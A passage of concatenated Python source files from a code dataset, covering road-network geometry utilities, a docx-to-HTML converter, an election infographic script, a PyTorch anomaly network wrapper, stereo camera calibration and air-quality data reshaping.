gpd\nfrom shapely.geometry import LineString\nfrom geographiclib.geodesic import Geodesic\n\nfrom .logger import WranglerLogger\n\n\ndef point_df_to_geojson(df: pd.DataFrame, properties: list):\n \"\"\"\n Author: Geoff Boeing:\n https://geoffboeing.com/2015/10/exporting-python-data-geojson/\n \"\"\"\n from .roadwaynetwork import RoadwayNetwork\n\n geojson = {\"type\": \"FeatureCollection\", \"features\": []}\n for _, row in df.iterrows():\n feature = {\n \"type\": \"Feature\",\n \"properties\": {},\n \"geometry\": {\"type\": \"Point\", \"coordinates\": []},\n }\n feature[\"geometry\"][\"coordinates\"] = [row[\"geometry\"].x, row[\"geometry\"].y]\n feature[\"properties\"][RoadwayNetwork.NODE_FOREIGN_KEY] = row.name\n for prop in properties:\n feature[\"properties\"][prop] = row[prop]\n geojson[\"features\"].append(feature)\n return geojson\n\n\ndef link_df_to_json(df: pd.DataFrame, properties: list):\n \"\"\" Export pandas dataframe as a json object.\n\n Modified from: Geoff Boeing:\n https://geoffboeing.com/2015/10/exporting-python-data-geojson/\n\n Args:\n df: Dataframe to export\n properties: list of properties to export\n \"\"\"\n\n # can't remember why we need this?\n if \"distance\" in properties:\n df[\"distance\"].fillna(0)\n\n json = []\n for _, row in df.iterrows():\n feature = {}\n for prop in properties:\n feature[prop] = row[prop]\n json.append(feature)\n\n return json\n\n\ndef topological_sort(adjacency_list, visited_list):\n \"\"\"\n Topological sorting for Acyclic Directed Graph\n \"\"\"\n\n output_stack = []\n\n def _topology_sort_util(vertex):\n if not visited_list[vertex]:\n visited_list[vertex] = True\n for neighbor in adjacency_list[vertex]:\n _topology_sort_util(neighbor)\n output_stack.insert(0, vertex)\n\n for vertex in visited_list:\n _topology_sort_util(vertex)\n\n return output_stack\n\n\ndef make_slug(text, delimiter: str = \"_\"):\n \"\"\"\n makes a slug from text\n \"\"\"\n import re\n\n text = re.sub(\"[,.;@#?!&$']+\", \"\", text.lower())\n return re.sub(\"[\\ ]+\", delimiter, text)\n\n\ndef parse_time_spans(times):\n \"\"\"\n parse time spans into tuples of seconds from midnight\n can also be used as an apply function for a pandas series\n Parameters\n -----------\n times: tuple(string) or tuple(int) or list(string) or list(int)\n\n returns\n --------\n tuple(integer)\n time span as seconds from midnight\n \"\"\"\n try:\n start_time, end_time = times\n except:\n msg = \"ERROR: times should be a tuple or list of two, got: {}\".format(times)\n WranglerLogger.error(msg)\n raise ValueError(msg)\n\n # If times are strings, convert to int in seconds, else return as ints\n if isinstance(start_time, str) and isinstance(end_time, str):\n start_time = start_time.strip()\n end_time = end_time.strip()\n\n # If time is given without seconds, add 00\n if len(start_time) <= 5:\n start_time += \":00\"\n if len(end_time) <= 5:\n end_time += \":00\"\n\n # Convert times to seconds from midnight (Partride's time storage)\n h0, m0, s0 = start_time.split(\":\")\n start_time_sec = int(h0) * 3600 + int(m0) * 60 + int(s0)\n\n h1, m1, s1 = end_time.split(\":\")\n end_time_sec = int(h1) * 3600 + int(m1) * 60 + int(s1)\n\n return (start_time_sec, end_time_sec)\n\n elif isinstance(start_time, int) and isinstance(end_time, int):\n return times\n\n else:\n WranglerLogger.error(\"ERROR: times should be ints or strings\")\n raise ValueError()\n\n return (start_time_sec, end_time_sec)\n\n\ndef get_bearing(lat1, lon1, lat2, lon2):\n \"\"\"\n calculate the bearing (forward azimuth) b/w the two points\n\n returns: bearing in radians\n \"\"\"\n # bearing in degrees\n brng = Geodesic.WGS84.Inverse(lat1, lon1, lat2, lon2)[\"azi1\"]\n\n # convert bearing to radians\n brng = math.radians(brng)\n\n return brng\n\n\ndef offset_point_with_distance_and_bearing(lat, lon, distance, bearing):\n \"\"\"\n Get the new lat long (in degrees) given current point (lat/lon), distance and bearing\n\n returns: new lat/long\n \"\"\"\n # Earth's radius in meters\n radius = 6378137\n\n # convert the lat long from degree to radians\n lat_radians = math.radians(lat)\n lon_radians = math.radians(lon)\n\n # calculate the new lat long in radians\n out_lat_radians = math.asin(\n math.sin(lat_radians) * math.cos(distance / radius)\n + math.cos(lat_radians) * math.sin(distance / radius) * math.cos(bearing)\n )\n\n out_lon_radians = lon_radians + math.atan2(\n math.sin(bearing) * math.sin(distance / radius) * math.cos(lat_radians),\n math.cos(distance / radius) - math.sin(lat_radians) * math.sin(lat_radians),\n )\n # convert the new lat long back to degree\n out_lat = math.degrees(out_lat_radians)\n out_lon = math.degrees(out_lon_radians)\n\n return (out_lat, out_lon)\n\n\ndef offset_location_reference(location_reference, offset_meters=10):\n \"\"\"\n Creates a new location reference\n using the node a and node b of given location reference,\n offseting it by 90 degree to the bearing of given location reference\n and distance equals to offset_meters\n\n returns: new location_reference with offset\n \"\"\"\n lon_1 = location_reference[0][\"point\"][0]\n lat_1 = location_reference[0][\"point\"][1]\n lon_2 = location_reference[1][\"point\"][0]\n lat_2 = location_reference[1][\"point\"][1]\n\n bearing = get_bearing(lat_1, lon_1, lat_2, lon_2)\n # adding 90 degrees (1.57 radians) to the current bearing\n bearing = bearing + 1.57\n\n new_lat_1, new_lon_1 = offset_point_with_distance_and_bearing(\n lat_1, lon_1, offset_meters, bearing\n )\n new_lat_2, new_lon_2 = offset_point_with_distance_and_bearing(\n lat_2, lon_2, offset_meters, bearing\n )\n\n out_location_reference = [\n {\"sequence\": 1, \"point\": [new_lon_1, new_lat_1]},\n {\"sequence\": 2, \"point\": [new_lon_2, new_lat_2]},\n ]\n\n return out_location_reference\n\n\ndef haversine_distance(origin: list, destination: list):\n \"\"\"\n Calculates haversine distance between two points\n\n Args:\n origin: lat/lon for point A\n destination: lat/lon for point B\n\n Returns: string\n \"\"\"\n\n lon1, lat1 = origin\n lon2, lat2 = destination\n radius = 6378137 # meter\n\n dlat = math.radians(lat2 - lat1)\n dlon = math.radians(lon2 - lon1)\n a = math.sin(dlat / 2) * math.sin(dlat / 2) + math.cos(\n math.radians(lat1)\n ) * math.cos(math.radians(lat2)) * math.sin(dlon / 2) * math.sin(dlon / 2)\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))\n d = radius * c # meters\n d = d * 0.000621371 # miles\n\n return d\n\n\ndef create_unique_shape_id(line_string: LineString):\n \"\"\"\n Creates a unique hash id using the coordinates of the geomtery\n\n Args:\n line_string: Line Geometry as a LineString\n\n Returns: string\n \"\"\"\n\n x1, y1 = list(line_string.coords)[0] # first co-ordinate (A node)\n x2, y2 = list(line_string.coords)[-1] # last co-ordinate (B node)\n\n message = \"Geometry {} {} {} {}\".format(x1, y1, x2, y2)\n unhashed = message.encode(\"utf-8\")\n hash = hashlib.md5(unhashed).hexdigest()\n\n return hash\n\n\ndef create_location_reference_from_nodes(node_a, node_b):\n \"\"\"\n Creates a location reference using the node a and node b coordinates\n\n Args:\n node_a: Node A as Series\n node_b: Node B as Series\n\n \"\"\"\n out_location_reference = [\n {\"sequence\": 1, \"point\": [node_a[\"X\"], node_a[\"Y\"]]},\n {\"sequence\": 2, \"point\": [node_b[\"X\"], node_b[\"Y\"]]},\n ]\n\n return out_location_reference\n\n\ndef create_line_string(location_reference: list):\n \"\"\"\n Creates a geometry as a LineString using location reference\n \"\"\"\n\n return LineString([location_reference[0][\"point\"], location_reference[1][\"point\"]])\n","sub_path":"network_wrangler/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"399802646","text":"\n\n#calss header\nclass _CASHMERE():\n\tdef __init__(self,): \n\t\tself.name = \"CASHMERE\"\n\t\tself.definitions = [u'very soft, expensive wool material that is made from the hair of goats from Kashmir']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_cashmere.py","file_name":"_cashmere.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"337724342","text":"# Copyright 2017-2018 Niall McCarroll\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom pyinfog.diagram import Diagram\nfrom pyinfog.infogs.transition.transition import Transition\nimport json\nimport argparse\n\n# data uk_election_results_2010_2015.json collected from http://lda.data.parliament.uk/\n# see pyinfog/examples/download_uk_election_data.py\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--inputdatapath\", help=\"path to read input JSON\", default=\"uk_election_results.json\")\n parser.add_argument(\"--inputmetadatapath\", help=\"path to read input metadata JSON\", default=\"uk_party_metadata.json\")\n parser.add_argument(\"--outputpath\", help=\"path to write output svg to\",default=\"cosmograph_ukelection.svg\")\n parser.add_argument(\"--years\",help=\"chart changes from general election in this year\",default=\"2010,2015\")\n args = parser.parse_args()\n\n years = args.years.split(\",\")\n from_year = years[0]\n to_year = years[1]\n\n data = json.loads(open(args.inputdatapath).read())\n\n metadata = json.loads(open(args.inputmetadatapath).read())\n parties = metadata[\"parties\"]\n aliases = metadata[\"aliases\"]\n\n palette = []\n labels = {}\n for party_name in parties:\n party = parties[party_name]\n palette.append((party_name, party[\"colour\"]))\n labels[party_name] = party[\"name\"]\n\n election_from = {}\n election_to = {}\n\n for d in data:\n seat = d[\"constituency\"][\"label\"][\"_value\"]\n election = d[\"election\"][\"label\"][\"_value\"]\n result = d[\"resultOfElection\"].split(\" \")[0].upper()\n if result in aliases:\n result = aliases[result]\n if election == from_year+\" General Election\":\n election_from[seat] = result\n if election == to_year+\" General Election\":\n election_to[seat] = result\n\n seats = {}\n seat_changes = {}\n for seat in election_from:\n if seat in election_to:\n seats[seat] = (election_from[seat],election_to[seat])\n if election_from[seat] != election_to[seat]:\n seat_changes[seat] = (election_from[seat],election_to[seat])\n\n d = Diagram()\n p = d.addNarrative()\n p.addText(\"UK General Election\",font_size=32,font_style={\"stroke\":\"purple\"})\n p.addText(\"Seats changing party, %s election - %s election\"%(from_year,to_year), font_size=28, font_style={\"font-weight\": \"bold\"})\n p.add(Transition(1024, 512, seat_changes, palette, labels, axis_labels=[from_year, to_year]))\n p.addSpace(20,20)\n p.addText(\"source: http://explore.data.parliament.uk/?learnmore=Election Results\", font_size=20,\n url=\"http://explore.data.parliament.uk/?learnmore=Election%20Results\")\n p.addLegend(palette,labels,512,legend_columns=3)\n\n svg = d.draw()\n\n f = open(args.outputpath, \"wb\")\n f.write(svg)\n f.close()\n\n","sub_path":"pyinfog/examples/uk_general_elections/transition_ukelection.py","file_name":"transition_ukelection.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"111347562","text":"import os\r\nimport pypandoc\r\nimport shutil\r\nimport base64\r\nfrom PIL import Image\r\nfrom bs4 import BeautifulSoup\r\nfrom pathlib import Path\r\nfrom modules import math_renderer\r\nfrom tidylib import tidy_document\r\n\r\n\"\"\"\r\n This module contains functions that are used for the basic operations such as conversion with pandoc\r\n and tidylib, moving files about, saving files to storage, etc. \r\n\"\"\"\r\n\r\n\r\ndef move_files(source, destination):\r\n \"\"\"\r\n Move files from source to destination\r\n \"\"\"\r\n images_moved_count = 0\r\n if source.exists():\r\n for file in [file for file in source.glob(\"**/*\") if file.is_file()]:\r\n shutil.move(str(file), str(destination))\r\n images_moved_count += 1\r\n shutil.rmtree(source)\r\n print(f\"\\t[Image-Mover]: Moved {images_moved_count} images to job folder\")\r\n\r\n\r\nEXTENSIONS_TO_IGNORE = [\".jpg\", \".png\", \".jpeg\", \".html\", \".py\", \".gif\"]\r\nTARGET_IMAGE_EXTENSION = \".jpg\"\r\n\r\n\r\ndef convert_invalid_images_in(root):\r\n \"\"\"\r\n Converted all unsupported images to supported format\r\n \"\"\"\r\n converted_images_count = 0\r\n for file in root.glob(\"**/*\"):\r\n file = Path(file)\r\n if file.suffix not in EXTENSIONS_TO_IGNORE:\r\n destination_file = file.with_suffix(TARGET_IMAGE_EXTENSION)\r\n try:\r\n Image.open(file).convert(\"RGB\").save(destination_file)\r\n file.unlink()\r\n converted_images_count += 1\r\n except Exception as e:\r\n print(e)\r\n print(f\"\\t[Image-Converter]: Converted {converted_images_count} invalid images\")\r\n\r\n\r\ndef rename_image_files_in(root):\r\n \"\"\"\r\n Renames all image files in order\r\n \"\"\"\r\n img_count = 0\r\n index_file = root / \"index.html\"\r\n html_soup = BeautifulSoup(open(index_file, \"rb\"), \"html.parser\")\r\n images = html_soup.findAll(\"img\")\r\n for image in images:\r\n old_image = root / image[\"src\"]\r\n if old_image.exists():\r\n image_extension = old_image.suffix\r\n new_image = old_image.with_name(\r\n \"image\" + str(img_count + 1).rjust(3, \"0\")\r\n ).with_suffix(image_extension)\r\n old_image.rename(new_image)\r\n image[\"src\"] = new_image.stem + new_image.suffix\r\n img_count += 1\r\n with open(index_file, \"wb\") as f:\r\n f.write(html_soup.prettify().encode(\"utf-8\"))\r\n print(f\"\\t[Image-Renamer]: Renamed {img_count} images\")\r\n\r\n\r\ndef render_maths(html, destination):\r\n \"\"\"\r\n Renders formulas and LaTex stuff to images \r\n \"\"\"\r\n html_soup = BeautifulSoup(html, \"html.parser\")\r\n math_spans = html_soup.findAll(\"span\", {\"class\": [\"math inline\", \"math display\"]})\r\n formula_count = 1\r\n for math_span in math_spans:\r\n latex_string = math_span.text.strip().replace(\"\\n\", \"\")\r\n try:\r\n image_base64_string = math_renderer.convert_latex_to_image(latex_string)\r\n if image_base64_string:\r\n print(f\"\\t[Math-Render]: Rendered {latex_string[:20]}\")\r\n image_name = destination / f\"math-image{formula_count}.png\"\r\n __save_BASE64_to_file(image_name, image_base64_string)\r\n img_tag = html_soup.new_tag(\"img\", src=image_name)\r\n math_span.replaceWith(img_tag)\r\n formula_count += 1\r\n except Exception as e:\r\n print(f\"\\t[Math-Render]: No Render {latex_string[:20]}\")\r\n print(f\"\\t{e}\")\r\n return html_soup\r\n\r\n\r\ndef convert_HTML(data_string, media_destination):\r\n \"\"\"\r\n Converts docx data to html, puts the images extracted in media_destination\r\n \"\"\"\r\n output_html = pypandoc.convert_text(\r\n data_string,\r\n format=\"docx\",\r\n to=\"html\",\r\n extra_args=[r\"--extract-media=\" + media_destination],\r\n )\r\n return output_html\r\n\r\n\r\ndef tidy_HTML(html_content):\r\n \"\"\"\r\n Tidies html_content with TidyLib\r\n \"\"\"\r\n output, _ = tidy_document(\r\n html_content, options={\"numeric-entities\": 1, \"tidy-mark\": 0, \"wrap\": 80}\r\n )\r\n\r\n # Replace smart quotes with normal quotes and em dashes to avoid char encoding errors\r\n output = (\r\n output.replace(\"\\u2018\", \"‘\")\r\n .replace(\"\\u2019\", \"’\")\r\n .replace(\"\\u201c\", \"“\")\r\n .replace(\"\\u201d\", \"”\")\r\n )\r\n\r\n return output\r\n\r\n\r\ndef save_HTML(html_output, destination, filename):\r\n \"\"\"\r\n Saves raw html output to destination + filename\r\n \"\"\"\r\n output_file = destination / filename\r\n with open(output_file, \"wb\") as f:\r\n f.write(html_output)\r\n return output_file\r\n\r\n\r\ndef __save_BASE64_to_file(filepath, base64_string):\r\n \"\"\"\r\n Saves base64 strings to file\r\n \"\"\"\r\n with open(filepath, \"wb\") as f:\r\n f.write(base64.b64decode(base64_string))\r\n return True\r\n\r\n\r\ndef delete_directory(directory):\r\n \"\"\"\r\n Clears directory from existence\r\n \"\"\"\r\n shutil.rmtree(directory)\r\n\r\n\r\ndef zip_up(archive_name, directory):\r\n \"\"\"\r\n Compresses directory into a zip file\r\n \"\"\"\r\n return shutil.make_archive(archive_name, \"zip\", directory)\r\n\r\n","sub_path":"modules/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"118339379","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torchsummary import summary\nfrom FDFE import multiPoolPrepare\n\n\nclass ExtendedAnomalyNet(nn.Module):\n '''Apply patch-based AnomalyNet CNN to an entire image'''\n def __init__(self, base_net, pH, pW, imH, imW):\n super(ExtendedAnomalyNet, self).__init__()\n self.imH = imH\n self.imW = imW\n self.pH = pH\n self.pW = pW\n self.base_net = base_net\n self.outChans = self.base_net.decode.out_features\n self.multiPoolPrepare = multiPoolPrepare(pH, pW) # this pads the input image with zeros\n \n def forward(self, x):\n x = self.multiPoolPrepare(x)\n b, _, _, _ = x.size()\n y = torch.zeros(b, self.outChans, self.imH, self.imW)\n for i in range(self.imH):\n for j in range(self.imW):\n y[:, :, i, j] = self.base_net(x[:, :, i:i+self.pH, j:j+self.pW])\n return y\n\n\nif __name__ == '__main__':\n from AnomalyNet import AnomalyNet\n ## Batch size\n batch_size = 1\n\n ## Image size\n imH = 256\n imW = 256\n\n ## Define patch dimensions\n pW = 65\n pH = 65\n\n ## Define test image\n testImage = torch.randn(batch_size, 3, imH, imW)\n testImage = testImage.cuda()\n\n ## Base_net definitions\n base_net = AnomalyNet()\n base_net.cuda()\n base_net.eval()\n\n ## ExtendedAnomalyNet definitions & test run\n extended_net = ExtendedAnomalyNet(base_net=base_net, pH=pH, pW=pW, imH=imH, imW=imW)\n extended_net.cuda()\n extended_net.eval()\n\n # y1 = extended_net(testImage).cpu()\n # print(y1.size())\n\n # patch = testImage[:, :, :65, :65]\n # print(f'patch center: (32, 32), path size: {patch.size()}')\n\n # y2 = base_net(testImage[:, :, :65, :65]).cpu()\n # print(y2.size())\n # err = torch.mean((y1[:, :, 32, 32] - y2)**2).item()\n # print(f'error on pixel (32, 32): {err}')\n\n # mean_val_pixel_y1 = torch.mean((y1[:, :, 32, 32]**2)).item()\n # print(mean_val_pixel_y1)\n\n # mean_val_pixel_y2 = torch.mean(y2**2).item()\n # print(mean_val_pixel_y2)\n\n # rel_err = 2 * err / (mean_val_pixel_y1 + mean_val_pixel_y2)\n # print(f'Relative error: {rel_err}')\n\n summary(extended_net, (3, 256, 256))","sub_path":"src/ExtendedAnomalyNet.py","file_name":"ExtendedAnomalyNet.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"162383369","text":"import cv2\nimport numpy as np\nimport glob\nimport save_calibration as sc\nimport cam_calibration as cc\nimport time\nimport csv\nimport copy\n\ndef ndlist_to_ndarray(ndlist):\n\tndarray = np.zeros((len(ndlist),len(ndlist[0])), dtype=np.float64)\n\tfor i in range(len(ndlist)):\n\t\t\t\tfor j in range(len(ndlist[i])):\n\t\t\t\t\tndarray[i][j]=np.float64(ndlist[i][j])\n\t#ndarray=np.array(ndlist)\n\treturn ndarray\n\ndef get_img_size(files):\n\timg=cv2.imread(files[0])\n\treturn (img.shape[1],img.shape[0])\n\ndef shared_valid_pt(thermal_imgpoints,thermal_valid_img,visual_imgpoints,visual_valid_img):\n\tcount=0\n\tdelete=[]\n\tdelete_fname=[]\n\t\n\tfor fname in thermal_valid_img:\n\t\tif(fname not in visual_valid_img):\n\t\t\tdelete_fname.append(fname)\n\t\t\tdelete.append(count)\n\t\tcount+=1\n\tfor d in delete_fname:\n\t\tthermal_valid_img.remove(d)\n\n\tthermal_imgpoints=np.delete(thermal_imgpoints,delete,0)\n\tcount=0\n\tdelete=[]\n\tdelete_fname=[]\n\tfor fname in visual_valid_img:\n\t\tif(fname not in thermal_valid_img):\n\t\t\tdelete_fname.append(fname)\n\t\t\tdelete.append(count)\n\t\tcount+=1\n\tfor d in delete_fname:\n\t\tvisual_valid_img.remove(d)\n\tvisual_imgpoints=np.delete(visual_imgpoints,delete,0)\n\treturn thermal_imgpoints,thermal_valid_img,visual_imgpoints,visual_valid_img\n\ndef thermal_visual_calib(cam1_img,cam1_template,cam1_intrinsic,cam1_type,cam2_img,cam2_template,cam2_intrinsic,cam2_type,BOARD_SIZE_R,BOARD_SIZE_C,THERMAL_MATCH_THRESH=0.85,VISUAL_MATCH_THRESH=0.85,TARGET_SIZE=107):\n\tthermal_images=glob.glob(cam1_img+'*.jpg')\n\tthermal_template=glob.glob(cam1_template+'*.jpg')\n\tvisual_images=glob.glob(cam2_img+'*.jpg')\n\tvisual_template=glob.glob(cam2_template+'*.jpg')\n\t# prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)\n\tobjp = np.zeros((BOARD_SIZE_R*BOARD_SIZE_C,3), np.float32)\n\tobjp[:,:2] = np.mgrid[0:BOARD_SIZE_C,0:BOARD_SIZE_R].T.reshape(-1,2)*TARGET_SIZE\n\n\t# Arrays to store object points and image points from all the images.\n\tobjpoints = [] # 3d point in real world space\n\t\n\tthermal_imgpoints,thermal_valid_img =cc.find_feature_imgpt(cam1_img,thermal_images,thermal_template,BOARD_SIZE_R,BOARD_SIZE_C,THERMAL_MATCH_THRESH,cam1_type,draw=False,arrow=True) \n\tvisual_imgpoints,visual_valid_img=cc.find_feature_imgpt(cam2_img,visual_images,visual_template,BOARD_SIZE_R,BOARD_SIZE_C,VISUAL_MATCH_THRESH,cam2_type,draw=False)\n\t\n\tthermal_img_count=len(thermal_valid_img)\n\tvisual_img_count=len(visual_valid_img)\n\tprint('Input img num:')\n\tprint(thermal_img_count,visual_img_count)\n\tif(thermal_img_count!=visual_img_count):\n\t\tprint('Valid img num not same!')\n\t\tthermal_imgpoints,thermal_valid_img,visual_imgpoints,visual_valid_img=shared_valid_pt(thermal_imgpoints,thermal_valid_img,visual_imgpoints,visual_valid_img)\n\tfor i in range(thermal_img_count):\n\t\tobjpoints.append(objp)\n\tprint('Num of img used:')\n\tprint(len(thermal_imgpoints),len(visual_imgpoints))\n\n\n\t#input camera matrix\n\tthermal_matrix=ndlist_to_ndarray(cam1_intrinsic[0])\n\tthermal_distort=ndlist_to_ndarray(cam1_intrinsic[1])\n\tvisual_matrix=ndlist_to_ndarray(cam2_intrinsic[0])\n\tvisual_distort=ndlist_to_ndarray(cam2_intrinsic[1])\n\t\n\tthermal_size=get_img_size(thermal_images)\n\tvisual_size=get_img_size(visual_images)\n\n\tT = np.zeros((3, 1), dtype=np.float64)\n\tR = np.eye(3, dtype=np.float64)\n\t\n\tnew_mtx_th, th_roi=cv2.getOptimalNewCameraMatrix(thermal_matrix,thermal_distort,thermal_size,1,newImgSize=thermal_size)\n\tnew_mtx_vi, vi_roi=cv2.getOptimalNewCameraMatrix(visual_matrix,visual_distort,visual_size,1,newImgSize=thermal_size)\n\t\n\t#use original camera matrix, size doesn't matter when fix intrinsic\n\ta=cv2.stereoCalibrate(objpoints,thermal_imgpoints,visual_imgpoints,\n\t\t\t\t\t\tthermal_matrix,thermal_distort,\n\t\t\t\t\t\tvisual_matrix,visual_distort,\n\t\t\t\t\t\tthermal_size,R,T,\n\t\t\t\t\t\tflags=cv2.CALIB_FIX_INTRINSIC)\n\t\n\t#size doesn't matter, imgSize input smaller image size. newImageSize rectified image size.\n\trot_ther,rot_vis,p_ther,p_vis,Q,roi_ther,roi_vis=cv2.stereoRectify(new_mtx_th,thermal_distort,\n\t\t\t\t\t\t\t\t\t\t\t\tnew_mtx_vi,visual_distort,\n\t\t\t\t\t\t\t\t\t\t\t\tthermal_size,R,T,alpha=1)\n\tprint(a[0])\n\tprint(R)\n\tprint(T)\n\t\n\tmap_thermal_1,map_thermal_2=cv2.initUndistortRectifyMap(thermal_matrix,thermal_distort,rot_ther,p_ther,thermal_size,cv2.CV_32FC1)\n\tmap_visual_1,map_visual_2=cv2.initUndistortRectifyMap(visual_matrix,visual_distort,rot_vis,p_vis,thermal_size,cv2.CV_32FC1)\n\n\timg_t=cv2.imread(THERMAL_FOLDER+'2.jpg')\n\timg_v=cv2.imread(VISUAL_FOLDER+'2.jpg')\n\timg_rect_t=cv2.remap(img_t,map_thermal_1,map_thermal_2,cv2.INTER_LINEAR)\n\timg_rect_v=cv2.remap(img_v,map_visual_1,map_visual_2,cv2.INTER_LINEAR)\n\ttotal_size = (max(img_rect_t.shape[0], img_rect_v.shape[0]),\n img_rect_t.shape[1] + img_rect_v.shape[1], 3)\n\timg = np.zeros(total_size, dtype=np.uint8)\n\timg[:img_rect_t.shape[0], :img_rect_t.shape[1]] = img_rect_t\n\timg[:img_rect_v.shape[0], img_rect_t.shape[1]:] = img_rect_v\n\t# draw horizontal lines every 25 px accross the side by side image\n\tfor i in range(20, img.shape[0], 25):\n\t\tcv2.line(img, (0, i), (img.shape[1], i), (255, 0, 0))\n\tcv2.imshow('imgRectified', img)\n\tcv2.waitKey(0)\n\t\n\nTHERMAL_FOLDER='Thermal_img\\\\'#0607\\\\sample\\\\'\nTHERMAL_TEMP_FOLDER='Thermal_template\\\\'\nVISUAL_FOLDER='Visual_img\\\\'#0607\\\\sample\\\\'\nVISUAL_TEMP_FOLDER='Visual_template\\\\'\n\nBOARD_R=6\nBOARD_C=8\n\nthermal_param=[[[529.95974596,0,332.46196228],\n\t \t\t\t\t[0,530.55661958,262.99950662],\n\t \t\t\t\t[0,0,1]],\n\t\t\t\t[[-0.33324326,0.10616041,0.00069956,-0.00130937,0.04215008]]]\n\n\nvisual_param=[[[1.02840028e+03,0.00000000e+00,6.38958761e+02],\n \t\t\t\t [0.00000000e+00,1.02734354e+03,3.69631292e+02],\n \t\t\t\t [0.00000000e+00,0.00000000e+00,1.00000000e+00]],\n\t\t\t\t[[2.20392400e-01,-9.51026974e-01,2.38078238e-03,-1.07357129e-03,1.16625802e+00]]]\n\nthermal_visual_calib(THERMAL_FOLDER,THERMAL_TEMP_FOLDER,thermal_param,'thermal',VISUAL_FOLDER,VISUAL_TEMP_FOLDER,visual_param,'visual',BOARD_R,BOARD_C)","sub_path":"Thermal_Visual_Calibration.py","file_name":"Thermal_Visual_Calibration.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"651697003","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.latern, name = \"start\"),\n path('project/',views.article1, name = \"article1\"),\n path('project/article2',views.article2, name = \"article2\"),\n path('project/article3',views.article3, name = \"article3\"),\n path('project/article4',views.article4, name = \"article4\"),\n]\n","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"341325437","text":"import math\n\nkAlpha = 50\nkA = 50\n\ntotal = 50.0\n\nfor i in range(kAlpha + 1):\n\tfor j in range(kA + 1):\n\t\tif (i == 0 and j == 0):\n\t\t\tcontinue\n\t\tgamma = total / (i + j)\n\t\ta = math.floor(gamma*i + 0.5)\n\t\tb = total - a\n\t\tprint [a, b, a + b]","sub_path":"analyticModels/matrixDimensions.py","file_name":"matrixDimensions.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"60550141","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 18 09:59:12 2018\r\n\r\n@author: roor\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport math\r\nimport csv\r\nfrom numpy.linalg import inv\r\nimport pandas as pd \r\nfrom numpy import *\r\nimport matplotlib.pyplot as plt\r\n\r\ncsv_data = pd.read_csv('EPA_data.csv') \r\nprint(csv_data.shape) \r\ncsv_data = np.array(csv_data)\r\nprint(type(csv_data))\r\n\r\n\r\n\r\ndata = []\r\nfor i in range(16):\r\n data.append([])\r\n\r\nfor i in range(16):\r\n for j in range(csv_data.shape[0]):\r\n data[i].append(csv_data[j][i+1])\r\n\r\ndata = np.array(data)\r\nwhere = np.isnan(data)\r\ndata[where] = 0\r\n\r\ndata = np.transpose(data)\r\n\r\ndata = np.delete(data, 12, 1)\r\ndata = np.delete(data, 8, 1)\r\ndata = np.delete(data, 3, 1)\r\ndata = np.delete(data, 1, 1)\r\n\r\n\r\nfinal_data = np.zeros((int(data.shape[0]/18),12,30,38))\r\n\r\ndiv_data = []\r\n\r\n# 最外層先擺18個測站\r\nfor i in range(18):\r\n div_data.append([])\r\n# 第二層擺每個測站的所有時間\r\n for j in range(int(data.shape[0]/18)):\r\n div_data[i].append([])\r\n# 第三層擺12種汙染物\r\n for k in range(12):\r\n div_data[i][j].append([])\r\n\r\nfor i in range(18):\r\n for j in range(int(data.shape[0]/18)):\r\n for k in range(12):\r\n div_data[i][j][k] = data[i+18*j][k]\r\n\r\n\r\nfor i in range(18):\r\n for j in range(int(data.shape[0]/18)):\r\n for k in range(12):\r\n if(i==0):\r\n final_data[j][k][12][17] = div_data[i][j][k]\r\n print(\"a\")\r\n elif(i==1):\r\n final_data[j][k][13][20] = div_data[i][j][k]\r\n elif(i==2):\r\n final_data[j][k][17][20] = div_data[i][j][k]\r\n elif(i==3):\r\n final_data[j][k][21][13] = div_data[i][j][k]\r\n elif(i==4):\r\n final_data[j][k][9][19] = div_data[i][j][k]\r\n elif(i==5):\r\n final_data[j][k][13][19] = div_data[i][j][k]\r\n elif(i==6):\r\n final_data[j][k][22][21] = div_data[i][j][k]\r\n elif(i==7):\r\n final_data[j][k][16][11] = div_data[i][j][k]\r\n elif(i==8):\r\n final_data[j][k][14][25] = div_data[i][j][k]\r\n elif(i==9):\r\n final_data[j][k][18][13] = div_data[i][j][k] \r\n 